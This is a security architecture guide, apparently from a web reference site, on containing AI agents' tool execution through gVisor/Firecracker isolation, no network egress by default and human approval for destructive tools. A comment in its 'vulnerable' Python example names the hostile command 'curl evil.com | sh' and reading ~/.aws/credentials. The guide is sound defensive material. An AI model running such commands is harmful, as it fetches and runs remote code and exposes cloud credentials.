flawopen.com/Reference/Securing Agent Tool Execution

The AI Agent Security Blueprint: Sandboxing, Tool Gating, and Egress Control

Architecture Guide
ELI5

Giving an AI agent a terminal without a sandbox is like giving a stranger full admin access to your laptop and hoping they only type nice things. Sandboxing means locking the agent in an unbreakable digital box with no internet, no access to your personal files, and zero power to break out.

The 3 Pillars of Agent Containment

Pillar 1: Kernel Isolation (gVisor or Firecracker)

Standard Docker containers share the host Linux kernel. A kernel exploit in an agent tool can yield root access on the host node. Use gVisor (runsc) or Firecracker microVMs to intercept all syscalls in user space.

Pillar 2: Zero Outbound Egress by Default

Agents running code or exploring data do not need open internet access. Disable network egress entirely (--network none). If an agent needs API access, route requests through a strict forward proxy with domain allowlisting.

Pillar 3: Explicit Human-in-the-Loop Approval for Destructive Tools

High-consequence tools (e.g. delete_database, send_email, push_git) must require cryptographic user confirmation or explicit UI button authorization before execution.

Vulnerable vs. Hardened Agent Execution

VULNERABLE: DIRECT HOST SUBPROCESS
# Executes directly on host operating system
import subprocess

def agent_run_bash(command):
    # Agent can execute "curl evil.com | sh", read ~/.aws/credentials
    return subprocess.run(command, shell=True, capture_output=True)
HARDENED: ISOLATED GVISOR CONTAINER
# Ephemeral container, user-space kernel, zero network
import docker

def agent_run_bash(command):
    client = docker.from_env()
    return client.containers.run(
        image="sandbox-runner:latest",
        command=["/bin/sh", "-c", command],
        runtime="runsc",            # gVisor kernel sandbox
        network_mode="none",         # Block all outbound egress
        read_only=True,              # Immutable filesystem
        mem_limit="256m",
        remove=True
    )

Prevention Checklist